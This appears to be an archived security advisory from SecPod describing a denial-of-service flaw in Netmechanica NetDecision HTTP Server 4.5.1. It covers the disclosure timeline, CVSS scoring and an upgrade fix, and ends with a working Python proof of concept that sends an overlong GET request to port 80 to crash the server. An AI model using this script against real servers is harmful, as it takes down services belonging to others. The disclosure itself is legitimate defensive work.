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Netmechanica NetDecision HTTP Server Denial Of Service
############################################################################## # # Title : Netmechanica NetDecision HTTP Server Denial Of Service # Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.netmechanica.com # Advisory : http://secpod.org/blog/?p=484 # http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt # http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py # Software : Netmechanica NetDecision HTTP Server version 4.5.1 # Date : 05/12/2011 # ############################################################################### SecPod ID: 1040 05/12/2011 Issue Discovered 21/02/2012 Vendor Notified 22/02/2012 Vendor Acknowledge 24/02/2012 Issue Resolved Class: Denial Of Service Severity: Medium Overview: --------- Netmechanica NetDecision HTTP Server version 4.5.1 is prone to a denial of service vulnerability. Technical Description: ---------------------- The vulnerability is caused due to improper validation of long malicious HTTP request to web server, which allows remote attackers to crash the service. Impact: -------- Successful exploitation could allow an attacker to cause denial of service condition. Affected Software: ------------------ Netmechanica NetDecision 4.5.1 (full package) containing HTTP Server version 4.5.1 Tested on: ----------- Netmechanica NetDecision 4.5.1 (full package) containing HTTP Server version 4.5.1 on Windows XP SP3 & Win XP2. Older versions might be affected. Older versions might be affected. References: ----------- http://secpod.org/blog/?p=484 http://www.netmechanica.com/downloads http://www.netmechanica.com/news/?news_id=26 Proof of Concept: ---------------- http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py Vendor URL: ---------------- http://www.netmechanica.com http://www.netmechanica.com/news/?news_id=26 Solution: ---------- Upgrade to NetDecision 4.6.1 Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR = NETWORK ACCESS_COMPLEXITY = LOW AUTHENTICATION = NOT_REQUIRED CONFIDENTIALITY_IMPACT = NONE INTEGRITY_IMPACT = NONE AVAILABILITY_IMPACT = PARTIAL EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL = UNAVAILABLE REPORT_CONFIDENCE = CONFIRMED CVSS Base Score = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P) Risk factor = Medium Credits: -------- Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this vulnerability. #!/usr/bin/python ############################################################################## # # Title : Netmechanica NetDecision HTTP Server Denial Of Service # Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.netmechanica.com # Advisory : http://secpod.org/blog/?p=484 # http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt # http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py # Software : Netmechanica NetDecision HTTP Server version 4.5.1 # Date : 05/12/2011 # ############################################################################### import socket,sys,time if len(sys.argv) < 2: print "\t[-] Usage: python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py target_ip" print "\t[-] Example : python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py 127.0.0.1" print "\t[-] Exiting..." sys.exit(0) port = 80 target = sys.argv[1] try: socket.inet_aton(target) except socket.error: print "Invalid IP address found ..." sys.exit(1) try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((target,port)) except: print "socket() failed: Server is not running" sys.exit(1) exploit = "GET "+ "A"*1276 + "\r\n" + "\r\n" print "HTTP GET request with long filename triggers the vulnerability" data = exploit sock.sendto(data, (target, port)) time.sleep(5) print "[+] Please verify the server daemon port, it must be down...." # 0day.today [2024-12-24] #